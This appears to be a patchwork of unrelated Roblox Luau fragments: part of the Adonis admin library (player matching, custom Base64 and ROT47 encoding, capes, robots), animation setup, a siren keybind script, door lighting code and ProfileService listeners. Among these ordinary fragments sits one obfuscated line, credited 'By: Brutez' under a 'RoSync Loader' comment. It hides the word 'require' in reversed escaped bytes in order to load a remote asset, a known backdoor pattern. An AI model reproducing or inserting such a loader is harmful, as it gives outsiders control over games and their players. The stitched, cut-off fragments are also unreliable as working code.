options.DontError,
not options.NoFakePlayer,
options.AllowUnknownUsers
)
end
end
if plrCount == 0 then
--// Check for display names
for _, v in parent:GetChildren() do
local p = getplr(v)
if p and p.ClassName == "Player" and p.DisplayName:lower():match(`^{s}`) then
table.insert(players, p)
plus()
end
end
if plrCount == 0 then
--// Check for usernames
for _, v in parent:GetChildren() do
local p = getplr(v)
if p and p.ClassName == "Player" and p.Name:lower():match(`^{s}`) then
table.insert(players, p)
plus()
end
end
if plrCount == 0 then
if not options.NoFakePlayer then
--// Attempt to retrieve non-ingame user
local UserId = Functions.GetUserIdFromNameAsync(s)
if UserId or options.AllowUnknownUsers then
table.insert(players, Functions.GetFakePlayer({
Name = s;
DisplayName = s;
UserId = UserId or -1;
}))
plus()
end
end
if plrCount == 0 and not options.DontError then
Remote.MakeGui(plr, "Output", {
Message = if not options.NoFakePlayer then `No user named '{s}' exists`
else `No players matching '{s}' were found!`;
})
end
end
end
end
end
end
--// The following is intended to prevent name spamming (eg. :re scel,scel,scel,scel,scel,scel,scel,scel,scel,scel,scel,scel,scel,scel...)
--// It will also prevent situations where a player falls within multiple player finders (eg. :re group-1928483,nonadmins,radius-50 (one player can match all 3 of these))
--// Edited to adjust removals and randomizers.
local filteredList = {}
local checkList = {}
for _, v in players do
if not checkList[v] then
table.insert(filteredList, v)
checkList[v] = true
end
end
local delFilteredList = {}
local delCheckList = {}
for _, v in delplayers do
if not delCheckList[v] then
table.insert(delFilteredList, v)
delCheckList[v] = true
end
end
local addFilteredList = {}
local addCheckList = {}
for _, v in addplayers do
if not addCheckList[v] then
table.insert(addFilteredList, v)
addCheckList[v] = true
end
end
local removalSuccessList = {}
for i, v in filteredList do
for j, w in delFilteredList do
if v.Name == w.Name then
table.remove(filteredList,i)
table.insert(removalSuccessList, w)
end
end
end
for j, w in addFilteredList do
table.insert(filteredList, w)
end
local checkList2 = {}
local finalFilteredList = {}
for _, v in filteredList do
if not checkList2[v] then
table.insert(finalFilteredList, v)
checkList2[v] = true
end
end
local comboTableCheck = {}
for _, v in finalFilteredList do
table.insert(comboTableCheck, v)
end
for _, v in delFilteredList do
table.insert(comboTableCheck, v)
end
local function rplrsort()
local children = parent:GetChildren()
local childcount = #children
local excludecount = #comboTableCheck
if excludecount < childcount then
local rand = children[math.random(#children)]
local rp = getplr(rand)
for _, v in comboTableCheck do
if v.Name == rp.Name then
rplrsort()
return
end
end
table.insert(finalFilteredList, rp)
local comboTableCheck = {}
for _, v in finalFilteredList do
table.insert(comboTableCheck, v)
end
for _, v in delFilteredList do
table.insert(comboTableCheck, v)
end
end
end
for i, v in randplayers do
rplrsort()
end
return finalFilteredList
end;
GetRandom = function(pLen)
--local str = ""
--for i=1,math.random(5,10) do str=str..string.char(math.random(33,90)) end
--return str
local random = math.random
local format = string.format
local res = {}
for i = 1, if type(pLen) == "number" then pLen else random(5, 10) do
res[i] = format("%02x", random(126))
end
return table.concat(res)
end;
AdonisEncrypt = function(key)
local ae_info = {
version = "1";
ver_codename = "aencrypt_xorB64";
ver_full = "v1_AdonisEncrypt";
}
--return "adonis:enc;;"..ver..";;"..Base64Encode(string.char(unpack(t)))
return {
encrypt = function(data)
-- Add as many layers of encryption that are useful, even a basic cipher that throws exploiters off the actual encrypted data is accepted.
-- What could count: XOR, Base64, Simple Encryption, A Cipher to cover the encryption, etc.
-- What would be too complex: AES-256 CTR-Mode, Base91, PGP/Pretty Good Privacy
-- TO:DO; - Script XOR + Custom Encryption Backend, multiple security measures, if multiple encryption layers are used,
-- manipulate the key as much as possible;
--
-- - Create Custom Lightweight Encoding + Cipher format, custom B64 Alphabet, etc.
-- 'ADONIS+HUJKLMSBP13579VWXYZadonis/hujklmsbp24680vwxyz><_*+-?!&@%#'
--
-- - A basic form of string compression before encrypting should be used
-- If this becomes really nice, find a way to convert old datastore saved data to this new format.
--
-- ? This new format has an URI-Like structure to provide correct versioning and easy migrating between formats
--[[ INSERT ALREADY USED ADONIS "ENCRYPTION" HERE ]]
--[[ INSERT BIT32 BITWISE XOR OPERAND HERE]]
--[[ INSERT ROT47 CIPHER HERE ]]
--[[ INSERT CUSTOM ADONIS BASE64 ENCODING HERE ]]
--[[ CONVERT EVERYTHING TO AN URI WITH VERSIONING AND INFORMATION ]]
end;
decrypt = function(data)
end;
}
end;
-- ROT 47: ROT13 BUT BETTER
Rot47Cipher = function(data,mode)
if not (mode == "enc" or mode == "dec") then error("Invalid ROT47 Cipher Mode") end
local base = 33
local range = 126 - 33 + 1
-- Checks if the given char is convertible
-- ASCII Code should be within the range [33 .. 126]
local function rot47_convertible(char)
local v = string.byte(char)
return v >= 33 and v <= 126
end
local function cipher(str, key)
return (string.gsub(str, '.', function(s)
if not rot47_convertible(s) then return s end
return string.char(((string.byte(s) - base + key) % range) + base)
end))
end
if mode == "enc" then return cipher(data,47) end
if mode == "dec" then return cipher(data,-47) end
end;
-- CUSTOM BASE64 ALPHABET ENCODING
Base64_A_Decode = function(data)
local sub = string.sub
local gsub = string.gsub
local find = string.find
local char = string.char
local b = 'ADONIS+HUJKLMSBP13579VWXYZadonis/hujklmsbp24680vwxyz><_*+-?!&@%#'
data = gsub(data, `[^{b}=]`, '')
return (gsub(gsub(data, '.', function(x)
if x == '=' then
return ''
end
local r, f = '', (find(b, x) - 1)
for i = 6, 1, -1 do
r ..= (f % 2 ^ i - f % 2 ^ (i - 1) > 0 and '1' or '0')
end
return r;
end), '%d%d%d?%d?%d?%d?%d?%d?', function(x)
if #x ~= 8 then
return ''
end
local c = 0
for i = 1, 8 do
c += (sub(x, i, i) == '1' and 2 ^ (8 - i) or 0)
end
return char(c)
end))
end;
Base64_A_Encode = function(data)
local sub = string.sub
local byte = string.byte
local gsub = string.gsub
return (gsub(gsub(data, '.', function(x)
local r, b = "", byte(x)
for i = 8, 1, -1 do
r ..= (b % 2 ^ i - b % 2 ^ (i - 1) > 0 and '1' or '0')
end
return r;
end) .. '0000', '%d%d%d?%d?%d?%d?', function(x)
if #(x) < 6 then
return ''
end
local c = 0
for i = 1, 6 do
c += (sub(x, i, i) == '1' and 2 ^ (6 - i) or 0)
end
return sub('ADONIS+HUJKLMSBP13579VWXYZadonis/hujklmsbp24680vwxyz><_*+-?!&@%#', c + 1, c + 1)
end)..({
'',
'==',
'='
})[#(data) % 3 + 1])
end;
--
Base64Encode = function(data)
local sub = string.sub
local byte = string.byte
local gsub = string.gsub
return (gsub(gsub(data, '.', function(x)
local r, b = "", byte(x)
for i = 8, 1, -1 do
r ..= (b % 2 ^ i - b % 2 ^ (i - 1) > 0 and '1' or '0')
end
return r;
end) .. '0000', '%d%d%d?%d?%d?%d?', function(x)
if #(x) < 6 then
return ''
end
local c = 0
for i = 1, 6 do
c += (sub(x, i, i) == '1' and 2 ^ (6 - i) or 0)
end
return sub('ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/', c + 1, c + 1)
end)..({
'',
'==',
'='
})[#(data) % 3 + 1])
end;
Base64Decode = function(data)
local sub = string.sub
local gsub = string.gsub
local find = string.find
local char = string.char
local b = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
data = gsub(data, `[^{b}=]`, '')
return (gsub(gsub(data, '.', function(x)
if x == '=' then
return ''
end
local r, f = '', (find(b, x) - 1)
for i = 6, 1, -1 do
r ..= (f % 2 ^ i - f % 2 ^ (i - 1) > 0 and '1' or '0')
end
return r;
end), '%d%d%d?%d?%d?%d?%d?%d?', function(x)
if #x ~= 8 then
return ''
end
local c = 0
for i = 1, 8 do
c += (sub(x, i, i) == '1' and 2 ^ (8 - i) or 0)
end
return char(c)
end))
end;
Hint = function(message, players, duration)
duration = duration or (#tostring(message) / 19 + 2.5)
for _, v in players do
Remote.MakeGui(v, "Hint", {
Message = message;
Time = duration;
})
end
end;
Message = function(title, message, players, scroll, duration)
duration = duration or (#tostring(message) / 19) + 2.5
for _, v in players do
task.defer(function()
Remote.RemoveGui(v, "Message")
Remote.MakeGui(v, "Message", {
Title = title;
Message = message;
Scroll = scroll;
Time = duration;
})
end)
end
end;
Notify = function(title, message, players, duration)
duration = duration or (#tostring(message) / 19) + 2.5
for _, v in players do
task.defer(function()
Remote.RemoveGui(v, "Notify")
Remote.MakeGui(v, "Notify", {
Title = title;
Message = message;
Time = duration;
})
end)
end
end;
Notification = function(title, message, players, duration, icon)
for _, v in players do
Remote.MakeGui(v, "Notification", {
Title = title;
Message = message;
Time = duration;
Icon = server.MatIcons[icon or "Info"];
})
end
end;
MakeWeld = function(a, b)
local weld = service.New("ManualWeld")
weld.Part0 = a
weld.Part1 = b
weld.C0 = a.CFrame:Inverse() * b.CFrame
weld.Parent = a
return weld
end;
SetLighting = function(prop,value)
if service.Lighting[prop] ~= nil then
service.Lighting[prop] = value
Variables.LightingSettings[prop] = value
for _, p in service.GetPlayers() do
Remote.SetLighting(p, prop, value)
end
end
end;
LoadEffects = function(plr)
for i, v in Variables.LocalEffects do
if (v.Part and v.Part.Parent) or v.NoPart then
if v.Type == "Cape" then
Remote.Send(plr, "Function", "NewCape", v.Data)
elseif v.Type == "Particle" then
Remote.NewParticle(plr, v.Part, v.Class, v.Props)
end
else
Variables.LocalEffects[i] = nil
end
end
end;
NewParticle = function(target, particleType, props)
local ind = Functions.GetRandom()
Variables.LocalEffects[ind] = {
Part = target;
Class = particleType;
Props = props;
Type = "Particle";
}
for _, v in service.Players:GetPlayers() do
Remote.NewParticle(v, target, particleType, props)
end
end;
RemoveParticle = function(target,name)
for i, v in Variables.LocalEffects do
if v.Type == "Particle" and v.Part == target and (v.Props.Name == name or v.Class == name) then
Variables.LocalEffects[i] = nil
end
end
for _, v in service.Players:GetPlayers() do
Remote.RemoveParticle(v, target, name)
end
end;
UnCape = function(plr)
for i, v in Variables.LocalEffects do
if v.Type == "Cape" and v.Player == plr then
Variables.LocalEffects[i] = nil
end
end
for _, v in service.Players:GetPlayers() do
Remote.Send(v, "Function", "RemoveCape", plr.Character)
end
end;
Cape = function(player,isdon,material,color,decal,reflect)
material = material or "Neon"
if not Functions.GetEnumValue(Enum.Material, material) then
error("Invalid material value")
end
Functions.UnCape(player)
local torso = player.Character:FindFirstChild("HumanoidRootPart")
if torso then
if type(color) == "table" then
color = Color3.new(unpack(color))
end
local data = {
Color = color;
Parent = player.Character;
Material = material;
Reflectance = reflect;
Decal = decal;
}
if isdon and Settings.DonorCapes and Settings.LocalCapes then
Remote.Send(player, "Function", "NewCape", data)
else
local ind = Functions.GetRandom()
Variables.LocalEffects[ind] = {
Player = player;
Part = player.Character.HumanoidRootPart;
Data = data;
Type = "Cape";
}
for _, v in service.Players:GetPlayers() do
Remote.Send(v, "Function", "NewCape", data)
end
end
end
end;
PlayAnimation = function(player, animId)
if player.Character and tonumber(animId) then
local human = player.Character:FindFirstChildOfClass("Humanoid")
if human and not human:FindFirstChildOfClass("Animator") then
service.New("Animator", human)
end
Remote.Send(player,"Function","PlayAnimation",animId)
end
end;
GetEnumValue = function(enum, item)
local valid = false
for _,v in enum:GetEnumItems() do
if v.Name == item then
valid = v.Value
break
end
end
return valid
end;
ApplyBodyPart = function(character, model)
-- NOTE: Use HumanoidDescriptions to apply body parts where possible, unless applying custom parts
local humanoid = character:FindFirstChildOfClass("Humanoid")
if humanoid then
local rigType = humanoid.RigType == Enum.HumanoidRigType.R6 and "R6" or "R15"
local part = model:FindFirstChild(rigType)
if not part and rigType == "R15" then
part = model:FindFirstChild("R15Fixed")
end
if part then
if rigType == "R6" then
local children = character:GetChildren()
for _,v in part:GetChildren() do
for _,x in children do
if x:IsA("CharacterMesh") and x.BodyPart == v.BodyPart then
x:Destroy()
end
end
v:Clone().Parent = character
end
elseif rigType == "R15" then
for _,v in part:GetChildren() do
local value = Functions.GetEnumValue(Enum.BodyPartR15, v.Name)
if value then
humanoid:ReplaceBodyPartR15(value, v:Clone())
end
end
end
end
end
end;
makeRobot = function(player, num, health, speed, damage, walk, attack, friendly)
local Deps = server.Deps
local char = player.Character
local torso = char:FindFirstChild("HumanoidRootPart") or char.PrimaryPart
local pos = torso.CFrame
local oldArchivable = char.Archivable
char.Archivable = true
local rawClone = char:Clone()
char.Archivable = oldArchivable
local clone = Instance.new("Actor")
clone.PrimaryPart = rawClone.PrimaryPart
clone.WorldPivot = rawClone.WorldPivot
--clone:ScaleTo(rawClone:GetScale())
for k, v in ipairs(rawClone:GetAttributes()) do
clone:SetAttribute(k, v)
end
for _, v in ipairs(rawClone:GetChildren()) do
v.Parent = clone
end
for i = 1, num do
local new = clone:Clone()
local hum = new:FindFirstChildOfClass("Humanoid")
local brain = Deps.Assets.BotBrain:Clone()
local event = brain.Event
local oldAnim = new:FindFirstChild("Animate")
local isR15 = hum.RigType == "R15"
local anim = isR15 and Deps.Assets.R15Animate:Clone() or Deps.Assets.R6Animate:Clone()
new.Name = player.Name
new.Archivable = false
new.HumanoidRootPart.CFrame = pos*CFrame.Angles(0, math.rad((360/num)*i), 0) * CFrame.new((num*0.2)+5, 0, 0)
hum.WalkSpeed = speed
hum.MaxHealth = health
hum.Health = health
if oldAnim then
oldAnim:Destroy()
end
anim.Parent = new
brain.Parent = new
anim.Disabled = false
brain.Disabled = false
new.Parent = workspace
if i % 5 == 1 then
task.wait()
end
event:Fire("SetSetting", {
Creator = player;
Friendly = friendly;
TeamColor = player.TeamColor;
Attack = attack;
Swarm = attack;
Walk = walk;
Damage = damage;
Health = health;
WalkSpeed = speed;
SpecialKey = math.random();
})
if walk then
event:Fire("Init")
end
table.insert(Variables.Objects, new)
end
end,
GetJoints = function(character)
local temp = {}
for _,v in character:GetDescendants() do
if v:IsA("Motor6D") then
temp[v.Name] = v -- assumes no 2 joints have the same name, hopefully this wont cause issues
end
end
return temp
end;
ResetReplicationFocus = function(player)
--if not workspace.StreamingEnabled then return end
local rootPart = player.Character and player.Character.PrimaryPart
player.ReplicationFocus = rootPart or nil
end;
LoadOnClient = function(player,source,object,name)
if service.Players:FindFirstChild(player.Name) then
local parent = player:FindFirstChildOfClass("PlayerGui") or player:WaitForChild("PlayerGui", 15) or player:WaitForChild("Backpack")
local cl = Core.NewScript("LocalScript", source)
cl.Name = name or Functions.GetRandom()
cl.Parent = parent
cl.Disabled = false
if object then
table.insert(Variables.Objects,cl)
end
end
end;
Split = function(msg,key,num)
if not msg or not key or not num or num <= 0 then return {} end
if key=="" then key = " " end
local tab = {}
local str = ''
for arg in string.gmatch(msg,`([^{key}]+)`) do
if #tab>=num then
break
elseif #tab>=num-1 then
table.insert(tab,string.sub(msg,#str+1,#msg))
else
str ..= arg..key
table.insert(tab,arg)
end
end
return tab
end;
BasicSplit = function(msg,key)
local ret = {}
for arg in string.gmatch(msg,`([^{key}]+)`) do
table.insert(ret,arg)
end
return ret
end;
IsValidTexture = function(id)
local id = tonumber(id)
local ran, info = pcall(function() return service.MarketPlace:GetProductInfo(id) end)
if ran and info and info.AssetTypeId == 1 then
return true;
else
return false;
end
end;
GetTexture = function(id)
local id = tonumber(id);
if id and Functions.IsValidTexture(id) then
return id;
else
return 6825455804;
end
end;
Trim = function(str)
return string.match(str, "^%s*(.-)%s*$")
end;
RoundToPlace = function(num, places)
return math.floor((num*(10^(places or 0)))+0.5)/(10^(places or 0))
end;
CleanWorkspace = function()
for _, v in workspace:GetChildren() do
if v:IsA("BackpackItem") or v:IsA("Accoutrement") then
v:Destroy()
end
end
end;
RemoveSeatWelds = function(seat)
if seat then
for _,v in seat:GetChildren() do
if v:IsA("Weld") then
if v.Part1 and v.Part1.Name == "HumanoidRootPart" then
v:Destroy()
end
end
end
end
end;
GrabNilPlayers = function(name)
local AllGrabbedPlayers = {}
for _,v in service.NetworkServer:GetChildren() do
pcall(function()
if v:IsA("NetworkReplicator") then
if string.sub(string.lower(v:GetPlayer().Name),1,#name)==string.lower(name) or name=='all' then
table.insert(AllGrabbedPlayers, (v:GetPlayer() or "NoPlayer"))
end
end
end)
end
return AllGrabbedPlayers
end;
GetUserIdFromNameAsync = function(name)
local cache = Admin.UserIdCache[name]
if not cache then
local success, UserId = pcall(service.Players.GetUserIdFromNameAsync, service.Players, name)
if success then
Admin.UserIdCache[name] = UserId
return UserId
end
end
return cache
end;
Shutdown = function(reason)
Functions.Message(Settings.SystemTitle, "The server is shutting down...", service.Players:GetPlayers(), false, 5)
task.wait(1)
service.Players.PlayerAdded:Connect(function(player)
player:Kick(`Server Shutdown\n\n{reason or "No Reason Given"}`)
end)
for _, v in service.Players:GetPlayers() do
v:Kick(`Server Shutdown\n\n{reason or "No Reason Given"}`)
end
end;
Donor = function(plr)
if Admin.CheckDonor(plr) and Settings.DonorCapes then
local PlayerData = Core.GetPlayer(plr) or {Donor = {}}
local donor = PlayerData.Donor or {}
if donor and donor.Enabled then
local img,color,material
if donor and donor.Cape then
img,color,material = donor.Cape.Image,donor.Cape.Color,donor.Cape.Material
else
img,color,material = '0','White','Neon'
end
if plr and plr.Character and plr.Character:FindFirstChild("HumanoidRootPart") then
Functions.Cape(plr,true,material,color,img)
end
end
end
end;
CheckMatch = function(check, match)
if check == match then
return true
elseif type(check) == "table" and type(match) == "table" then
local good = false
local num = 0
for k, v in check do
if v == match[k] then
good = true
else
good = false
break
end
num += 1
end
return good and num == service.CountTable(match)
end
return false
end;
LaxCheckMatch = function(check, match, opts)
local keys = if opts and typeof(opts) == 'table' and opts.IgnoreKeys then opts.IgnoreKeys else {}
if check == match then
return true
elseif type(check) == "table" and type(match) == "table" then
for k, v in match do
if table.find(keys, k) then continue end
if type(v) == "table" and not Functions.LaxCheckMatch(check[k], v, opts) then
return false
elseif type(v) ~= "table" and check[k] ~= v then
return false
end
end
return true
end
return false
end;
DSKeyNormalize = function(intab, reverse)
local tab = {}
if reverse then
for i,v in intab do
if tonumber(i) then
tab[tonumber(i)] = v;
end
end
else
for i,v in intab do
tab[tostring(i)] = v;
end
end
return tab;
end;
GetIndex = function(tab,match)
for i,v in tab do
if v==match then
return i
elseif type(v)=="table" and type(match)=="table" then
local good = false
for k,m in v do
if m == match[k] then
good = true
else
good = false
break
end
end
if good then
return i
end
end
end
end;
ConvertPlayerCharacterToRig = function(plr: Player, rigType: EnumItem)
rigType = rigType or Enum.HumanoidRigType.R15
local Humanoid: Humanoid = plr.Character and plr.Character:FindFirstChildOfClass("Humanoid")
local HumanoidDescription = Humanoid:GetAppliedDescription() or service.Players:GetHumanoidDescriptionFromUserId(plr.UserId)
local newCharacterModel: Model = service.Players:CreateHumanoidModelFromDescription(HumanoidDescription, rigType, Enum.AssetTypeVerification.Always)
local Animate: BaseScript = newCharacterModel.Animate
newCharacterModel.Humanoid.DisplayName = Humanoid.DisplayName
newCharacterModel.Name = plr.Name
local oldCFrame = plr.Character and plr.Character:GetPivot() or CFrame.new()
if plr.Character then
plr.Character:Destroy()
plr.Character = nil
end
plr.Character = newCharacterModel
-- Clone StarterCharacterScripts to new character
if service.StarterPlayer:FindFirstChild("StarterCharacterScripts") then
for _, v in service.StarterPlayer:FindFirstChild("StarterCharacterScripts"):GetChildren() do
if v.Archivable then
v:Clone().Parent = newCharacterModel
end
end
end
newCharacterModel:PivotTo(oldCFrame)
newCharacterModel.Parent = workspace
-- hacky way to fix other people being unable to see animations.
for _ = 1, 2 do
if Animate then
Animate.Disabled = not Animate.Disabled
end
end
return newCharacterModel
end;
CreateClothingFromImageId = function(clothingType, id)
return service.New(clothingType, {
Name = clothingType;
[assert(if clothingType == "Shirt" then "ShirtTemplate"
elseif clothingType == "Pants" then "PantsTemplate"
elseif clothingType == "ShirtGraphic" then "Graphic"
else nil, "Invalid clothing type")
] = `rbxassetid://{id}`;
})
end;
ParseColor3 = function(str: string?)
if not str then return nil end
if str:lower() == "random" then
return Color3.fromRGB(math.random(0, 255), math.random(0, 255), math.random(0, 255))
end
local color = {}
for s in string.gmatch(str, "[%d]+") do
table.insert(color, tonumber(s))
end
if #color == 3 then
color = Color3.fromRGB(color[1], color[2], color[3])
else
local brickColor = BrickColor.new(str)
if str == tostring(brickColor) then
color = brickColor.Color
else
return
end
end
return color
end;
ParseBrickColor = function(str: string, allowNil: boolean?)
if not str and allowNil then
return nil
end
if not str or str:lower() == "random" then
return BrickColor.random()
end
local brickColor = BrickColor.new(str)
if str == tostring(brickColor) then
return brickColor
else
-- If provided a Color3, return closest BrickColor
local color = Functions.ParseColor3(str)
if color then
return BrickColor.new(color)
end
end
return if allowNil then nil else BrickColor.random()
end;
};
end
|
-- Existance in this list signifies that it is an emote, the value indicates if it is a looping emote
|
local emoteNames = { wave = false, point = false, dance = true, dance2 = true, dance3 = true, laugh = false, cheer = false}
local PreloadAnimsUserFlag = false
local PreloadedAnims = {}
local successPreloadAnim, msgPreloadAnim = pcall(function()
PreloadAnimsUserFlag = UserSettings():IsUserFeatureEnabled("UserPreloadAnimations")
end)
if not successPreloadAnim then
PreloadAnimsUserFlag = false
end
math.randomseed(tick())
function findExistingAnimationInSet(set, anim)
if set == nil or anim == nil then
return 0
end
for idx = 1, set.count, 1 do
if set[idx].anim.AnimationId == anim.AnimationId then
return idx
end
end
return 0
end
function configureAnimationSet(name, fileList)
if animTable[name] ~= nil then
for _, connection in pairs(animTable[name].connections) do
connection:disconnect()
end
end
animTable[name] = {}
animTable[name].count = 0
animTable[name].totalWeight = 0
animTable[name].connections = {}
local allowCustomAnimations = true
local AllowDisableCustomAnimsUserFlag = false
local success, msg = pcall(function()
AllowDisableCustomAnimsUserFlag = UserSettings():IsUserFeatureEnabled("UserAllowDisableCustomAnims2")
end)
if AllowDisableCustomAnimsUserFlag then
local success, msg = pcall(function() allowCustomAnimations = game:GetService("StarterPlayer").AllowCustomAnimations end)
if not success then
allowCustomAnimations = true
end
end
-- check for config values
local config = script:FindFirstChild(name)
if (allowCustomAnimations and config ~= nil) then
table.insert(animTable[name].connections, config.ChildAdded:connect(function(child) configureAnimationSet(name, fileList) end))
table.insert(animTable[name].connections, config.ChildRemoved:connect(function(child) configureAnimationSet(name, fileList) end))
local idx = 0
for _, childPart in pairs(config:GetChildren()) do
if childPart:IsA("Animation") then
local newWeight = 1
local weightObject = childPart:FindFirstChild("Weight")
if weightObject ~= nil then
newWeight = weightObject.Value
end
animTable[name].count = animTable[name].count + 1
idx = animTable[name].count
animTable[name][idx] = {}
animTable[name][idx].anim = childPart
animTable[name][idx].weight = newWeight
animTable[name].totalWeight = animTable[name].totalWeight + animTable[name][idx].weight
table.insert(animTable[name].connections, childPart.Changed:connect(function(property) configureAnimationSet(name, fileList) end))
table.insert(animTable[name].connections, childPart.ChildAdded:connect(function(property) configureAnimationSet(name, fileList) end))
table.insert(animTable[name].connections, childPart.ChildRemoved:connect(function(property) configureAnimationSet(name, fileList) end))
end
end
end
-- fallback to defaults
if animTable[name].count <= 0 then
for idx, anim in pairs(fileList) do
animTable[name][idx] = {}
animTable[name][idx].anim = Instance.new("Animation")
animTable[name][idx].anim.Name = name
animTable[name][idx].anim.AnimationId = anim.id
animTable[name][idx].weight = anim.weight
animTable[name].count = animTable[name].count + 1
animTable[name].totalWeight = animTable[name].totalWeight + anim.weight
end
end
-- preload anims
if PreloadAnimsUserFlag then
for i, animType in pairs(animTable) do
for idx = 1, animType.count, 1 do
if PreloadedAnims[animType[idx].anim.AnimationId] == nil then
Humanoid:LoadAnimation(animType[idx].anim)
PreloadedAnims[animType[idx].anim.AnimationId] = true
end
end
end
end
end
|
--// # key, Yelp
|
mouse.KeyDown:connect(function(key)
if key=="g" then
if veh.Lightbar.middle.Yelp2.IsPlaying == true then
veh.Lightbar.middle.Wail2:Stop()
veh.Lightbar.middle.Yelp2:Stop()
veh.Lightbar.middle.Priority:Stop()
script.Parent.Parent.Sirens.Yelp.BackgroundColor3 = Color3.fromRGB(62, 62, 62)
else
veh.Lightbar.middle.Wail2:Stop()
veh.Lightbar.middle.Yelp2:Play()
veh.Lightbar.middle.Priority:Stop()
script.Parent.Parent.Sirens.Yelp.BackgroundColor3 = Color3.fromRGB(215, 135, 110)
script.Parent.Parent.Sirens.Wail.BackgroundColor3 = Color3.fromRGB(62, 62, 62)
script.Parent.Parent.Sirens.Priority.BackgroundColor3 = Color3.fromRGB(62, 62, 62)
end
end
end)
mouse.KeyDown:connect(function(key)
if key=="j" then
veh.Lightbar.middle.Beep:Play()
veh.Lightbar.RemoteEvent:FireServer(true)
end
end)
mouse.KeyDown:connect(function(key)
if key=="k" then
veh.Lightbar.middle.Beep:Play()
veh.Lightbar.DirectionalEvent:FireServer(true)
end
end)
|
-- Get first join time
|
function Main:GetFirstJoinTime()
return self.FirstJoinTime
end
|
--[[ By: Brutez. ]]--
--[[ Last synced 11/11/2020 02:24 RoSync Loader ]]
|
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[ ]]--
|
--[[
A component that establishes a connection to a Roblox event when it is rendered.
]]
|
local Roact = require(script.Parent.Roact)
local ExternalEventConnection = Roact.Component:extend("ExternalEventConnection")
function ExternalEventConnection:init()
self.connection = nil
end
|
-- Variables
|
local player = Players.LocalPlayer
local character = script.Parent
local npcModel = workspace.LobbyAssets.NPC
local animationController = npcModel.AnimationController
local animation = Instance.new("Animation")
local lastWavedAt = 0
local characterIsNear = false
local waveAnimationTrack
|
--------LEFT DOOR --------
|
game.Workspace.doorleft.l12.BrickColor = BrickColor.new(game.Workspace.Lighting.secondary.Value)
game.Workspace.doorleft.l23.BrickColor = BrickColor.new(game.Workspace.Lighting.secondary.Value)
game.Workspace.doorleft.l61.BrickColor = BrickColor.new(game.Workspace.Lighting.secondary.Value)
game.Workspace.doorleft.l42.BrickColor = BrickColor.new(game.Workspace.Lighting.secondary.Value)
game.Workspace.doorleft.l72.BrickColor = BrickColor.new(game.Workspace.Lighting.secondary.Value)
game.Workspace.doorleft.l53.BrickColor = BrickColor.new(game.Workspace.Lighting.secondary.Value)
game.Workspace.doorleft.l71.BrickColor = BrickColor.new(game.Workspace.Lighting.secondary.Value)
game.Workspace.doorleft.l31.BrickColor = BrickColor.new(game.Workspace.Lighting.secondary.Value)
game.Workspace.doorleft.l11.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorleft.l21.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorleft.l22.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorleft.l32.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorleft.l33.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorleft.l43.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorleft.l51.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorleft.l41.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorleft.l73.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorleft.l52.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorleft.l63.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorleft.l62.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorleft.l13.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorleft.pillar.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
|
--[[ Script Variables ]]
|
--
while not Players.LocalPlayer do
wait()
end
local LocalPlayer = Players.LocalPlayer
local PlayerGui = LocalPlayer:WaitForChild('PlayerGui')
local IsTouchDevice = UserInputService.TouchEnabled
local UserMovementMode = IsTouchDevice and GameSettings.TouchMovementMode or GameSettings.ComputerMovementMode
local DevMovementMode = IsTouchDevice and LocalPlayer.DevTouchMovementMode or LocalPlayer.DevComputerMovementMode
local IsUserChoice = (IsTouchDevice and DevMovementMode == Enum.DevTouchMovementMode.UserChoice) or
DevMovementMode == Enum.DevComputerMovementMode.UserChoice
local TouchGui = nil
local TouchControlFrame = nil
local TouchJumpModule = nil
local IsModalEnabled = UserInputService.ModalEnabled
local BindableEvent_OnFailStateChanged = nil
local isJumpEnabled = false
|
-- ONLY WHEN FROM "Profile.GlobalUpdates":
|
function GlobalUpdates:ListenToNewActiveUpdate(listener) --> [ScriptConnection] listener(update_id, update_data)
if type(listener) ~= "function" then
error("[ProfileService]: Only a function can be set as listener in GlobalUpdates:ListenToNewActiveUpdate()")
end
local profile = self._profile
if self._update_handler_mode == true then
error("[ProfileService]: Can't listen to new global updates in ProfileStore:GlobalUpdateProfileAsync()")
elseif self._new_active_update_listeners == nil then
error("[ProfileService]: Can't listen to new global updates in view mode")
elseif profile:IsActive() == false then -- Check if profile is expired
return { -- Do not connect listener if the profile is expired
Disconnect = function() end,
}
end
-- Connect listener:
table.insert(self._new_active_update_listeners, listener)
return Madwork.NewArrayScriptConnection(self._new_active_update_listeners, listener)
end
function GlobalUpdates:ListenToNewLockedUpdate(listener) --> [ScriptConnection] listener(update_id, update_data)
if type(listener) ~= "function" then
error("[ProfileService]: Only a function can be set as listener in GlobalUpdates:ListenToNewLockedUpdate()")
end
local profile = self._profile
if self._update_handler_mode == true then
error("[ProfileService]: Can't listen to new global updates in ProfileStore:GlobalUpdateProfileAsync()")
elseif self._new_locked_update_listeners == nil then
error("[ProfileService]: Can't listen to new global updates in view mode")
elseif profile:IsActive() == false then -- Check if profile is expired
return { -- Do not connect listener if the profile is expired
Disconnect = function() end,
}
end
-- Connect listener:
table.insert(self._new_locked_update_listeners, listener)
return Madwork.NewArrayScriptConnection(self._new_locked_update_listeners, listener)
end
function GlobalUpdates:LockActiveUpdate(update_id)
